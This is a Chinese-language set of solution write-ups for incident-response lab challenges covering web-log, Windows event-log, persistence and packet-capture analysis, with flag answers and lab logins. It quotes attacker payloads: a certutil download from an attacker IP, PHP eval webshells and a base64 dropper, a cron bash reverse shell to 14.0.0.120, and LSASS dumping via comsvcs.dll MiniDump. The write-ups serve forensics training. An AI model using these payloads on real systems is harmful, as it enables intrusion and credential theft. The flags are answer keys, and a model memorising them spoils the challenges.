这些路径和命令表明黑客正在尝试通过路径遍历攻击来访问并执行PowerShell命令，这些命令的目的是验证是否能够成功执行系统命令。whoami命令用于查看当前执行命令的用户，pwd命令用于查看当前工作目录。

虽然日志中没有显示命令的具体返回结果，但多次的连接请求和特定路径命令的使用表明攻击者在测试和确认命令执行的有效性。尤其是执行whoami和pwd命令，这通常是攻击者在初步获取访问权限后进行的操作，以确认他们的权限级别和工作目录

flag{2024-03-26 10:16:25.585}

通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;

通过上一题的分析可以很快知道黑客ip就是：192.168.31.45

flag{192.168.31.45}

通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;

在第一题的下面一点发现了：

check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe
check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1

解码好看一点：

check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe certutil -urlcache -split -f http://192.168.31.249/main.exe
check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe certutil -urlcache -split -f http://192.168.31.249/main.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1

攻击者正在尝试利用 路径遍历漏洞 结合 PowerShell 和 Certutil 工具，从远程服务器下载恶意文件（main.exe）并执行

组件	说明
路径遍历	利用 `../` 返回上级目录，访问系统敏感路径（如 `C:\Windows\System32`）。
PowerShell	Windows 强大的脚本工具，攻击者常用它执行隐蔽操作（如下载、内存加载恶意代码）。
Certutil	微软合法工具，但常被滥用下载文件（防御软件可能不会拦截）。
`192.168.31.249`	攻击者的内网服务器，存放恶意文件（需封禁此IP）。

flag{192.168.31.249}

找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;

这个跟着题解找到了qq群

群文件里面有个DEC

下载是一个私钥，我们进行md5计算

flag{54a0369176b3f3de1fea20b604a16d49c4e6b5a2}

通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;

桌面的txt文件打开，提示我们加密了

DEC文件是个私钥，那么可以联想到RSA，拿去解密

得到密钥，再是AES解密（这个是真想不到

初始向量是十六个零

flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}

第四章 windows实战-wordpress

总结：日志分析；Fuzz Faster U Fool；D盾；沙箱

第四章 windows实战-wordpress
rdp 端口 3389
administrator xj@123456

请提交攻击者攻击成功的第一时间，格式：flag

在桌面发现了小皮。进去查看日志

这里apache的日志没有东西，我们看nginx的

日志的前面部分只能表明有攻击意图，因为只是访问，后续的大部分都是在用工具爆破，我们继续往下面翻

这里注意到了有欢迎界面，一般是登陆成功后会显示的界面，并且后续攻击者也执行了whoami这个命令，一般是登录成功或者拿到权限之后会执行的命令，用来检查是否已经成功登录或者拿到权限，所以可以攻击成功的第一时间

flag{2023:04:29 22:45:23}

请提交攻击者的浏览器版本 flag

这里也可以直接在上一题的后面一点可以看到

flag{Firefox/110.0}

请提交攻击者目录扫描所使用的工具名称

在日志的中间我们可以看到爆破行为

可以看到工具名字和版本：Fuzz Faster U Fool v1.5.0

Fuzz Faster U Fool (ffuf) 是一个快速 Web Fuzz 工具，用来对网站进行目录扫描、参数 fuzz、爆破等测试。

flag{Fuzz Faster U Fool}

找到攻击者写入的恶意后门文件，提交文件名（完整路径）

在日志可以发现一个x.php

我们到文件目录www下面查看

<?php @eval($_REQUEST['x']); ?>

典型的一句话后门，它的作用是远程执行任意PHP代码，

$_REQUEST['x']：
- 从请求里获取 x 参数的值；
- $_REQUEST 会包含 GET、POST、COOKIE 三种来源（默认配置下），意味着攻击者可以通过这三种任意方式传值。

flag{C:\phpstudy_pro\WWW\.x.php}

找到攻击者隐藏在正常web应用代码中的恶意代码，提交该文件名（完整路径）

直接用d盾扫了，发现一个内藏后门

<?php @file_put_contents('.x.php',base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWyd4J10pOyA/Pg=='));?>

分析：

@file_put_contents('.x.php', base64_decode(...))：
- 作用：在当前目录下生成一个隐藏文件 .x.php。
base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWyd4J10pOyA/Pg==')：
- 解码后是：
```
<?php @eval($_REQUEST['x']); ?>
```
- 意思：.x.php 文件中写入了一个 WebShell 后门，任何访问 .x.php 时带上 x 参数即可远程执行任意 PHP 代码。

flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php}

请指出可疑进程采用的自动启动的方式，启动的脚本的名字 flag

这个在windows目录下面找到了一个360.exe，非常突兀，因为并没有安装什么360

拿去沙箱

是木马文件，题目问的是启动脚本，在同目录下面还有一个x.bat，查看

确实是这个程序的启动脚本

flag{x.bat}

第五章 Windows 实战-evtx 文件分析

总结：事件ID

服务器场景操作系统 None
点击下载附件获取附件
任务环境说明
    注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
    应急响应工程师在收到设备告警后，在受到攻击的服务器保存了一份log 请你协助分析 LOG 文件提交对应的 FLAG
开放题目
    漏洞修复
参考

EVTX（Event Log File） 是 Windows 操作系统存储 事件日志（Event Logs） 的二进制文件格式，用于记录系统、应用程序、安全等相关事件

1.将黑客成功登录系统所使用的IP地址作为Flag值提交；

三个文件，问的是成功登录那么可以想到筛选事件ID4624来查看登录成功的事件，只有在安全那个文件中筛选才有，我们筛选查找

找到了一个但是后续还有很多事件，一个个查看很麻烦，我们将筛选过的事件另存为txt文件

去notepad++用正则表达式进行过滤

\b(?:\d{1,3}\.){3}\d{1,3}\b

有两个ip，去尝试提交会发现是192.168.36.133

flag{192.168.36.133}

2.黑客成功登录系统后修改了登录用户的用户名，将修改后的用户名作为Flag值提交；

事件ID4738是用户账户属性被修改（如密码重置、权限变更），我们筛选，这个需要到系统那个文件里面

flag{Adnimistartro}

3.黑客成功登录系统后成功访问了一个关键位置的文件，将该文件名称（文件名称不包含后缀）作为Flag值提交；

事件ID4663记录对象访问尝试的安全审计事件，特别是文件和目录的访问尝试

在安全文件中，过滤之后还是有很多，我们另存txt文件

cat 1.txt | grep -E '对象名:\s*(\w:\\[^ ]+)' | sort | uniq -c | sort -nr

grep -E '对象名:\s\*(\w:\\[^ ]+)'

作用：使用正则表达式匹配包含 对象名: 的行，并提取文件路径。
选项：
- -E：启用扩展正则表达式（ERE）（支持 () 分组和 + 量词）。
正则解析：
- 对象名:\s*：匹配 对象名: 后跟任意空白字符（\s*）。
- (\w:\\[^ ]+)：
  - \w:：匹配盘符（如 C:、D:）。
  - \\：匹配反斜杠（Windows 路径分隔符）。
  - [^ ]+：匹配非空格字符（即文件路径，如 \Windows\System32\cmd.exe）

访问次数最多的是SCHEMA.DAT，并且还贴心的告诉了我们不需要后缀，那么铁定就是这个了

flag{SCHEMA}

4.黑客成功登录系统后重启过几次数据库服务，将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交；

事件ID100通常用于记录应用程序的启动信息，筛选发现还是很多，再过滤关键字：starting as process

并且问的是最后一次，这里找到的是1052

但是答案是这个的上一个8820，看了好几篇博客也没解释

flag{8820}

5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作，将黑客使用修改后的用户重启系统的次数作为Flag值提交。

事件ID1074，由用户、进程或系统管理员启动的系统重启、关闭或注销事件

九个，但是找的是更改后的用户的重启，也就是Adnimistartro

flag{3}

第九章-Where-1S-tHe-Hacker

服务器场景操作系统 Windows
服务器账号密码 admin Aa123456
题目来源公众号  划水但不摆烂
https://mp.weixin.qq.com/s/4UoIw-On-0taB8s0xtjkAw
任务环境说明
    注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
    应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
开放题目
    漏洞修复
参考
https://mp.weixin.qq.com/s/4UoIw-On-0taB8s0xtjkAw

通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交;

桌面有小皮，打开看日志文件

Apache有，看Apache的

access.log有一个一直在请求的ip，但是提交不对

去www目录下面查看有没有什么上传的文件

看看index.php

也是第一次见这种id了

flag{X123567X}

通过本地 PC RDP到服务器并且找到黑客在什么时间修改了网站主页,将黑客修改了网站主页的时间作为 FLAG 提交（y-m-d-4:22:33）;

网站主页文件就是index.php，查看属性的修改时间

flag{2023-11-6-4:55:13}

通过本地 PC RDP到服务器并且找到黑客第一个webshell文件名是,将第一个webshell文件名作为FLAG 提交;

webshell文件一般就是黑客上传的，直接d盾扫描www目录

找到两个webshell文件

flag{SystemConfig.php}

通过本地 PC RDP到服务器并且找到黑客第二个webshell文件名是,将第二个webshell文件名作为FLAG 提交;

还有一个被清理了，恢复一下

确定是后门文件

flag{syscon.php}

通过本地 PC RDP到服务器并且找到黑客第二个webshell的连接密码是,将第二个webshell的连接密码作为FLAG 提交;

通过上一题可知连接密码是pass

flag{pass}

通过本地 PC RDP到服务器并且找到黑客新建的隐藏账户,将新建的隐藏账户名字作为FLAG 提交;

命令：

wmic useraccount get Name

也可以来事件查看器过滤4720（用户账户被创建）

flag{admin$}

通过本地 PC RDP到服务器并且找到黑客隐藏账户创建时间是,将隐藏账户创建时间是作为FLAG 提交（答案格式：2024/12/3 9:16:23）;

根据上一题事件查看器可以知道

flag{2023/11/6 4:45:34}

通过本地 PC RDP到服务器并且找到黑客添加隐藏账户进管理员组的时间,将添加隐藏账户进管理员组的时间作为FLAG 提交（答案格式：2024/12/3 9:16:23）;

过滤4732（成员已添加到启用安全的本地组中）

flag{2023/11/6 4:46:07}

通过本地 PC RDP到服务器并且找到黑客在什么时间从文件中读取保留的密钥,将读取保留的密钥的时间作为FLAG 提交（答案格式：2024/12/3 9:16:23）;

5058（密钥文件操作相关的事件）

flag{2023/11/6 4:46:58}

通过本地 PC RDP到服务器并且找到黑客通过隐藏账户通过(PTH)哈希传递攻击登录的时间是,将(PTH)哈希传递攻击登录的时间作为FLAG 提交;

哈希传递攻击 (Pass-the-Hash, PTH)

哈希传递攻击(PTH)是一种利用NTLM或LM哈希而非明文密码进行身份验证的网络攻击技术，属于横向移动攻击的一种。

基本原理

不破解哈希：攻击者不需要破解或逆向哈希值来获取明文密码
直接使用哈希：获取的密码哈希值可以直接用于认证过程
绕过密码要求：系统只验证哈希值是否匹配，而不需要知道原始密码

攻击流程

获取哈希：通过内存转储(如Mimikatz)、网络嗅探或其他方式获取用户密码哈希
传递哈希：使用这些哈希值向目标系统进行身份验证
权限提升：通常用于域环境中的横向移动，获取更高权限

博客原文：

在这种情况下，黑客使用隐藏账户登录系统，传递合法用户的哈希值，而不是输入密码。因为系统会接受这个哈希值进行验证，黑客就能以合法用户的身份登录并进行恶意操作。

总的来说：这种攻击方法利用了操作系统对身份验证哈希的处理机制，结合隐藏账户来进行隐蔽的系统访问和控制。它不需要知道用户的明文密码，因此特别难以检测和防御
那这种情况下我们也要找到进程“NtLmSsp”，那话又说回来了，什么是“NtLmSsp”呢？

简单来说“NtLmSsp” 是 “NT LAN Manager Security Support Provider” 的缩写，它是 Windows 操作系统中的一个进程组件，用于处理 NTLM 协议的身份验证。NTLM 是一种较老的身份验证协议，主要用于早期 Windows 版本以及在现代系统中作为后备身份验证机制。它通常在以下场景中使用：
Windows 登录: NTLM 可以用于本地或远程登录到 Windows 系统。
网络身份验证: 在访问共享资源（如文件共享、远程桌面等）时，NTLM 可以用来验证用户身份。
应用程序认证: 某些旧版或兼容性应用程序可能仍然依赖 NTLM 进行身份验证。

查找“NtLmSsp”进程是为了检测和分析使用 NTLM 协议的登录活动，特别是在调查疑似哈希传递攻击等安全事件时，通过识别与此进程相关的活动可以帮助安全人员更好地理解黑客的行为并采取相应措施。

也就是先查看登录成功的事件，4624，然后再看进程是不是NtLmSsp

flag{2023/11/6 4:47:28}

通过本地 PC RDP到服务器并且找到黑客上传的两个CobaltStrike木马文件名,将上传的两个CobaltStrike木马文件名作为FLAG 提交（答案格式："A.exe,B.exe"）;

Cobalt Strike 是一款由 HelpSystems（现归属 Fortra） 开发的 商业化渗透测试工具，主要用于 红队演练（Red Team Operations）、渗透测试（Penetration Testing）和高级威胁模拟（Advanced Threat Emulation）。它被安全研究人员、渗透测试人员和红队广泛使用，但同时也常被黑客和 APT（高级持续性威胁）组织滥用。

Cobalt Strike 的典型攻击流程

初始访问（Initial Access）
- 通过钓鱼邮件、漏洞利用（如 Web 漏洞、RDP 爆破）等方式获取入口。
部署 Beacon
- 在目标机器上植入 Beacon，建立 C2 通信。
权限提升（Privilege Escalation）
- 利用本地提权漏洞或窃取管理员凭据（如 Mimikatz）。
横向移动（Lateral Movement）
- 使用 PTH、PsExec、WMI 等方式在内部网络扩散。
数据窃取（Exfiltration）
- 收集敏感数据并通过加密通道回传。
持久化（Persistence）
- 植入后门，确保长期控制。

工具：D-Eyes

Release v1.3.0 · m-sec-org/d-eyes

flag{SystemTemp.exe,SysnomT.exe}

参考：玄机——第九章-Where-1S-tHe-Hacker wp-CSDN博客

第九章-Where-1S-tHe-Hacker-part2

服务器场景操作系统 Windows
服务器账号密码 admin Aa123456
题目来源公众号  划水但不摆烂
https://mp.weixin.qq.com/s/xkHNm7AN4BCpQIr9thIS7A
任务环境说明
    注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
    应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
开放题目
    漏洞修复
参考
https://mp.weixin.qq.com/s/xkHNm7AN4BCpQIr9thIS7A

1.最早的WebShell落地时间是（时间格式统一为：2022/12/12/2:22:22）;

桌面有小皮，找webshell一般就是去www目录找，用d盾扫描会快点

有很多后门文件，找到对应目录按时间排序

查看属性，得到时间

flag{2023/11/11/0:30:07}

2.黑客最早的WebShell密码是多少，将WebShell密码作为Flag值提交；

上一题同一个文件打开查看

flag{pass}

3.CobaltStrike木马被添加进计划任务的时间是

这个看了博客说如果是看计划任务的话可以用火绒剑，但是我这个去看发现没有找到什么

博客说的是原题可以直接扫描到

博客原文：

最后经过思考得出结论；

那这里既然没办法确认到底哪一个才是真正的“CobaltStrike木马”，我们也没办法，因为靶机中的“huorong.exe”木马被杀掉了，以至于我重启很多遍靶机也还是找不到，那就没办法了，但是可以确认的是，原题中我们是可以使用“火绒”直接全盘扫描“C盘”，扫出可疑木马“huorong.exe”的，那扫出来之后，我们就可以直接把它移动到我们的本机，并且使用"微步在线云沙箱"扫描一下，并且得出“huorong.exex”就是我们需要找的“CobaltStrike木马”

flag{2023/11/15/8:02:20}

4.黑客启用并添加进管理员组的用户与时间是答案格式：Username,2022/12/12/2:22:22）

用事件查看器筛选4732

这个就是黑客的账号，或者是博客的方法，用d盾克隆检测

有一个Guest来宾账户，分析：

net user Guest

Guest账户被加入了*Administrators（管理员）组和*Guests（来宾）组。这是一个严重的安全隐患，因为Guest账户本应是低权限的来宾账户，将其加入管理员组意味着黑客可以利用它执行管理员权限的操作。这一点非常不正常，通常应立即引起警觉。

flag{Guest,2023/11/11/0:45:59}

5.攻击者使用弱口令登录ftp的时间是

桌面的小皮有FTP，可以到对应目录查看日志

第一部分：连接与欢迎信息

(000001) 2023/11/11 10:05:1 - (not logged in) (192.168.128.1)> Connected on port 21, sending welcome message...
(000001) 2023/11/11 10:05:1 - (not logged in) (192.168.128.1)> 220 FileZilla Server 0.9.60 beta... Please visit http://sourceforge.
(000001) 2023/11/11 10:05:1 - (not logged in) (192.168.128.1)> disconnected.

(000001): 这是本次连接的会话ID。服务器为每个新连接分配一个唯一ID。
(not logged in): 当前状态是“未登录”。
客户端 192.168.128.1 连接到服务器的 21 端口 (FTP 控制端口)。
服务器发送了 220 欢迎消息，其中包含服务器版本和横幅信息。
客户端没有任何后续操作就断开了连接。这可能是一次端口扫描或连接测试。

第二部分：失败的匿名登录尝试

(000002) 2023/11/11 10:05:4 - ...> Connected on port 21, sending welcome message...
(000002) 2023/11/11 10:05:5 - ...> 220 ... (Welcome message again)
(000002) 2023/11/11 10:05:6 - ...> USER anonymous
(000002) 2023/11/11 10:05:7 - ...> 331 Password required for anonymous
(000002) 2023/11/11 10:05:8 - ...> PASS
(000002) 2023/11/11 10:05:9 - ...> 530 Login or password incorrect!

同一个IP (192.168.128.1) 建立了第二次连接 (会话ID 000002)。
客户端尝试使用 USER anonymous 命令以“匿名用户”身份登录。
服务器回复 331，表示“需要匿名用户的密码”。（通常匿名登录的密码是邮箱地址，但也可以为空）。
客户端发送了 PASS 命令，但后面是空的（没有提供密码）。
服务器因此回复 530，表示“登录或密码错误”，登录失败。

第三部分：成功的登录与文件列表操作

(000003) 2023/11/11 10:05:10 - ...> Connected on port 21, sending welcome message... (Third connection)
(000003) 2023/11/11 10:05:12 - ...> USER ftp
(000003) 2023/11/11 10:05:13 - ...> 331 Password required for ftp
(000003) 2023/11/11 10:05:14 - ...> PASS *****
(000003) 2023/11/11 10:05:15 - ...> 230 Logged on

客户端建立了第三次连接 (会话ID 000003)。
这次尝试使用用户名 ftp 登录 (USER ftp)。
服务器回复 331，要求输入该用户的密码。
客户端发送了 PASS 命令，后面跟着密码（日志中用 ***** 隐藏了）。
服务器验证通过，回复 230，表示“登录成功”。此刻用户身份从 (not logged in) 变为 (ftp)。

登录后的一系列操作（客户端查询服务器支持的功能）：

(000003) 2023/11/11 10:05:16 - ...> FEAT
(000003) 2023/11/11 10:05:17 - ...> 211 Features: ... MLSD UTF8 CLNT ... (Server lists its supported commands)

FEAT: 客户端询问服务器支持哪些扩展功能。
211: 服务器回复并列出了它支持的命令（如 MLSD for 目录列表, UTF8 for 编码等）。

设置传输参数和获取文件列表：

(000003) 2023/11/11 10:05:29 - ...> TYPE I
(000003) 2023/11/11 10:05:30 - ...> 200 Type set to I
(000003) 2023/11/11 10:05:33 - ...> EPSV
(000003) 2023/11/11 10:05:34 - ...> 229 Entering Extended Passive Mode ([||3509])
(000003) 2023/11/11 10:05:35 - ...> MLSD
(000003) 2023/11/11 10:05:36 - ...> 150 Opening data channel for directory listing of "/"
(000003) 2023/11/11 10:05:37 - ...> 226 Successfully transferred "/"

TYPE I: 将传输模式设置为“二进制”（I 代表 Image），适用于传输文件。
EPSV: 进入“扩展被动模式”。这是FTP建立数据连接（用于传输文件或列表）的一种方式。
229: 服务器告诉客户端“已进入扩展被动模式”，并在哪个端口(3509)上监听数据连接。
MLSD: 客户端请求以机器可读的格式列出服务器根目录 / 的文件列表。
150: 服务器回复“正在打开数据通道”，准备发送数据。
226: 服务器通知客户端“目录列表已成功传输”。

(000003) 2023/11/11 10:05:38 - ...> disconnected.

操作完成后，客户端主动断开连接。

这里其实用的就是弱口令123456，也可以在靶机尝试连接（忘记截图了）

ftp 127.0.0.1

flag{2023/11/11/1:08:54}

6.攻击者使用弱口令登录web管理员的时间是

去小皮查看apache日志

前面很多都是一秒内发出很多的POST请求，可以知道那就是暴力破解，在后面接了一个成功的GET请求，可以打开小皮之后访问一下

http://localhost/index.php?mod=mobile&act=public&do=index&beid=1

这个就是黑客暴力破解的登陆界面s

flag{2023/11/15/7:38:31}

参考：玄机——第九章-Where-1S-tHe-Hacker-part2 wp-CSDN博客

权限维持-Windows权限维持

总结：注册表；计划任务；服务

administrator/1q2w3e4r?
RDP 连接端口3389

1.注册表权限维持

既然说了注册表权限维持，那就去注册表排查

常见路径：

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run (32位程序在64位系统上)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
其他：Policies\Explorer\Run, Windows\CurrentVersion\Explorer\User Shell Folders 等

在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run发现：

到对应的目录下发现flag

base64解码：

flag{daduile}

2.计划任务权限维持

计划任务查看，只有三个，第二个看exe文件的命名就知道有问题

对应路径下查看文件的详细信息，在版权发现base64编码信息

解码：

flag{fewafeted}

3.自启动服务权限维持

自启动的话win+r输入services.msc，查看服务，找不同，发现serverr，两个r一看就不对劲

到对应路径下，也是查看属性

解码

flag{fewsidonfk}

流量包分析

第六章流量特征分析-小王公司收到的钓鱼邮件

服务器场景操作系统 None
服务器账号密码 None None
任务环境说明
   注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
   应急响应工程师小王在 WAF 上发现了一段恶意流量，请分析流量且提交对应 FLAG

下载数据包文件 hacker1.pacapng，分析恶意程序访问了内嵌 URL 获取了 zip 压缩包，该 URL 是什么将该 URL作为 FLAG 提交 FLAG（形式：flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}） (无需 http、https)；

协议分级

有http一般都是先看http的，选中之后开始追踪流

发现了压缩包，可知URL是

tsdandassociates.co.sz/w0ks//?YO=1702920835

flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}

下载数据包文件 hacker1.pacapng，分析获取到的 zip 压缩包的 MD5 是什么作为 FLAG 提交 FLAG（形式：flag{md5}）；

上一题一样的地方，用原始数据显示之后保存为十六进制

保存之后计算MD5

flag{f17dc5b1c30c512137e62993d1df9b2f}

下载数据包文件 hacker1.pacapng，分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序，该域名是什么?提交答案:flag{域名}(无需 http、https)

我们打开压缩包

打开js文件

原始代码包含大量无关注释（拉丁文干扰文），我们看后面的

就是这个o457607380

o457607380+='h'
o457607380+='t'
o457607380+='t'
o457607380+='p'
......

从代码来看，o457607380 变量被用来存储字符串，这些字符串通过逐步追加的方式构建。

具体用途可以是任何需要动态构建字符串的场景，比如生成特定的标识符、构建 URL 或路径等。

使用大量的注释和无关的文字是一种常见的代码混淆技术，目的是使恶意行为不那么显而易见。

这类混淆技术常用于恶意软件中，以绕过简单的静态分析工具和提高分析难度。

全部提取出来就是

o457607380+='h';
o457607380+='t';
o457607380+='t';
o457607380+='p';
o457607380+='s';
o457607380+=':';
o457607380+='/';
o457607380+='/';
o457607380+='s';
o457607380+='h';
o457607380+='a';
o457607380+='k';
o457607380+='y';
o457607380+='a';
o457607380+='s';
o457607380+='t';
o457607380+='a';
o457607380+='t';
o457607380+='u';
o457607380+='e';
o457607380+='s';
o457607380+='t';
o457607380+='r';
o457607380+='a';
o457607380+='d';
o457607380+='e';
o457607380+='.';
o457607380+='c';
o457607380+='o';
o457607380+='m';
o457607380+='/';
o457607380+='I';
o457607380+='h';
o457607380+='A';
o457607380+='6';
o457607380+='F';
o457607380+='/';
o457607380+='6';
o457607380+='1';
o457607380+='6';
o457607380+='2';
o457607380+='3';
o457607380+='1';
o457607380+='6';
o457607380+='0';
o457607380+='3';

https://shakyastatuestrade.com/IhA6F/616231603

注意不需要http

flag{shakyastatuestrade.com}

第六章流量特征分析-常见攻击事件 tomcat

在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式：flag{ip}，如：flag

协议分级

选中http

会话统计

看包的大小和持续时间等可以知道攻击者ip是14.0.0.120

flag{14.0.0.120}

找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag

统计->端点

没有显示

直接去搜吧

广州

flag{guangzhou}

哪一个端口提供对web服务器管理面板的访问？ flag格式：flag

我们过滤攻击者ip

http&&ip.addr==14.0.0.120

统计->会话

主机ip是8080，提供web服务

flag{8080}

经过前面对攻击者行为的分析后,攻击者运用的工具是？ flag格式：flag

上一题也可以过滤web相关的流量和关键字

http.request.uri contains "admin"

追踪流

可以发现工具是gobuster

flag{gobuster}

攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码？ flag格式：flag

登录那么我们就过滤POST请求

http.request.method=="POST"&&ip.addr==14.0.0.120

只有一个

Authorization: Basic是http中的基本认证，后面接着的是经过了base64加密之后的用户名和密码

解码得到：

flag{admin-tomcat}

攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称？ flag格式：flag

上一题一样的地方

flag{JXQOZY.war}

攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息？ flag提示,某种任务里的信息

上一题的下一个流就是目录执行

whoami → 确认当前用户是 root（最高权限）。
cd /tmp → 进入 /tmp 目录（临时目录，通常可写）。
pwd → 确认当前目录是 /tmp。
echo "\* \* \* \* \* /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
- 创建一个 cron 文件，内容是一个 每分钟执行一次的反向 Shell。
- 它会尝试连接到 14.0.0.120:443，并提供一个交互式 Shell。
crontab -i cron
- 将 cron 文件加载为当前用户的计划任务（-i 可能是 --install 或类似选项，标准 crontab 命令应直接 crontab cron）。
crontab -l
- 列出当前用户的计划任务，确认是否成功写入。

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}

第六章流量特征分析-waf 上的截获的黑客攻击流量

应急响应工程师小徐在 waf 上下载了一段黑客的攻击流量，请你分析黑客的攻击流量，并且找到对应的关键信息提供给应急小组协助修复漏洞


1.黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}
2.黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
3.黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}

链接: https://pan.baidu.com/s/1bGiWgzeP6ddaaptGel-npw?pwd=cv7f 提取码: cv7f 
--来自百度网盘超级会员v6的分享

1.黑客成功登录系统的密码 flag

协议分级选中http，找登陆密码加上过滤POST

http.request.method=="POST"

有很多login界面的，应该是爆破，直接按大小从最大的开始找，在754大小的找到了

我们可以点这个进行追踪流查看返回

可以看到是302，302 重定向 表示登录成功，服务器返回跳转（通常是后台首页 /admin/index.php）。

flag{admin!@#pass123}

2.黑客发现的关键字符串 flag

后续就是连接再攻击了，shell应该就是a.php

找了很久没发现什么，去看其他人的博客也大差不差的就是硬找，过滤了login

flag{87b7cb79481f317bde90c116cf36084b}

3.黑客找到的数据库密码 flag

这个就是找关键字，dbpass，dbuser，password等

博客原文：

常见配置文件变量名称：

在许多应用程序的配置文件中，数据库用户名和密码通常被定义为变量，如“dbuser”和“dbpass”。这些变量名是常见的约定，很多开发者在代码中使用这些命名。
快速定位敏感信息：

使用“dbuser”和“dbpass”作为关键词，可以快速缩小搜索范围，直接定位到包含数据库连接信息的配置文件或代码片段。这些文件通常包含敏感信息，是黑客重点关注的目标。

flag{e667jUPvJjXHvEUv}

参考：玄机——第六章流量特征分析-waf 上的截获的黑客攻击流量 wp-CSDN博客

第六章流量特征分析-蚂蚁爱上树

总结：蚁剑流量；rundll32.exe；mimikatz

管理员Admin账号的密码是什么？

协议分级选中http

过滤POST请求并且按大小排序，先看最大的product2

显示分组字节进行解码查看

一个个找吧，在4146大小的包里面找到了（还好是从大的开始找的

cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]7

切换到 C:\phpStudy\PHPTutorial\WWW\onlineshop 目录。
创建一个名为 admin、密码为 Password1 的新用户。
输出 [S] 和当前目录路径，再输出 [E]。
最后的 7 是无效命令。

flag{Password1}

LSASS.exe的程序进程ID是多少？

博客原文

rundll32.exe 是一个 Windows 系统进程，允许用户调用 Windows DLL 文件中的函数。这通常用于执行系统功能或脚本任务。rundll32.exe 被用来调用 comsvcs.dll 中的 MiniDump 函数，生成一个包含系统账户和密码信息的 lsass.dmp 文件。

LSASS.exe 是 Windows 操作系统中负责管理本地安全策略、用户认证和访问控制的关键系统进程。由于其在系统安全中的重要性，LSASS.exe 常常成为攻击者的目标。通过适当的监控、访问控制和安全工具，管理员可以有效地检测和防止对 LSASS 进程的恶意攻击。

详细分析

Rundll32.exe

rundll32.exe 是 Windows 操作系统中的一个实用程序，允许用户通过命令行运行基于 DLL 的函数。攻击者可以利用这个合法的系统工具来执行恶意操作，例如调用特定 DLL 文件中的函数来执行恶意代码。

comsvcs.dll 和 MiniDump 函数

comsvcs.dll 是 Windows 系统中的一个 DLL 文件，包含与 COM+ 服务相关的功能。这个 DLL 文件中的 MiniDump 函数可以用来创建内存转储文件（memory dump），这些文件包含了系统内存的快照，可能包括敏感信息，如用户凭证。

攻击流程

调用 rundll32.exe 攻击者使用 rundll32.exe 来调用 comsvcs.dll 中的 MiniDump 函数。命令格式如下：

rundll32.exe comsvcs.dll, MiniDump <PID> <DUMP_FILE_PATH> full

<PID> 是目标进程的进程 ID，例如 LSASS 的进程 ID。
<DUMP_FILE_PATH> 是要生成的转储文件路径，例如 C:\Windows\Temp\lsass.dmp。
生成 lsass.dmp 文件 这个命令会生成一个包含 LSASS 进程内存内容的转储文件，通常命名为 lsass.dmp。LSASS 进程管理着系统的用户凭证，因此这个转储文件可能包含敏感信息，如密码哈希。

使用 Mimikatz 读取凭证 攻击者随后使用 Mimikatz 等工具来读取和提取转储文件中的凭证。Mimikatz 是一个广泛使用的安全工具，可以从内存转储文件中提取密码、哈希和其他敏感信息。（这是为啥之前备一个的原因）

回到流量包，继续解码分析,4172

